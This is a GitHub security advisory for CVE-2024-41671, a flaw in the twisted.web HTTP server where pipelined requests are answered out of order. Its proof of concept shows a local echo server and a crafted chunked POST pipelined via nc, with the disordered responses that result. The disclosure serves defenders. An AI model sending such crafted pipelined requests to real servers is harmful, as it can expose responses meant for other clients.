GitHub Advisoryadvisory · PyPI
GHSA-c8m8-j448-xjx7 twisted.web has disordered HTTP pipeline response
MEDIUM
Official page ↗
- Aliases
- CVE-2024-41671
- Ecosystem
- PyPI
- Packages
- twisted
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
- Weaknesses
- CWE-444
- Reviewed
- 2024-07-29
Affected packages
• PyPI twisted: < 24.7.0rc1 → fixed in 24.7.0rc1
Description
Summary
The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.
PoC
0. Start a fresh Debian container:
```sh
docker run --workdir /repro --rm -it debian:bookworm-slim
```
1. Install twisted and its dependencies:
```sh
apt -y update && apt -y install ncat git python3 python3-pip \
&& git clone --recurse-submodules https://github.com/twisted/twisted \
&& cd twisted \
&& pip3 install --break-system-packages .
```
2. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following:
```python
from twisted.web import server, resource
from twisted.internet import reactor
class TheResource(resource.Resource):
isLeaf = True
def render_GET(self, request) -> bytes:
return b"GET"
def render_POST(self, request) -> bytes:
return b"POST"
site = server.Site(TheResource())
reactor.listenTCP(80, site)
reactor.run()
```
3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:
```sh
(printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n'; sleep 1; printf 'GET / HTTP/1.1\r\n\r\n'; sleep 1) | nc localhost 80
```
4. Observe that the responses arrive out of order:
```
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:41 GMT
Content-Length: 5
Content-Type: text/html
POST
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 4
Content-Type: text/html
GET
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 5
Content-Type: text/html
POST
```
Impact
See GHSA-xc8x-vp79-p3wm. Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.
Related
Alias · CVE (1)
- CVE-2024-41671 Twisted is an event-based framework for internet applications, supporting Python 3.6+. vulnerability
Weakness · CWE (1)
- CWE-444 Inconsistent Interpretation of HTTP Requests weakness
References
- https://github.com/twisted/twisted/security/advisories/GHSA-c8m8-j448-xjx7 web
- https://nvd.nist.gov/vuln/detail/CVE-2024-41671 advisory
- https://github.com/twisted/twisted/commit/046a164f89a0f08d3239ecebd750360f8914df33 web
- https://github.com/twisted/twisted/commit/4a930de12fb67e88fefcb8822104152f42b27abc web
- https://github.com/twisted/twisted package
- https://lists.debian.org/debian-lts-announce/2024/11/msg00028.html web
- https://www.vicarius.io/vsociety/posts/disordered-http-pipeline-in-twistedweb-cve-2024-4167 web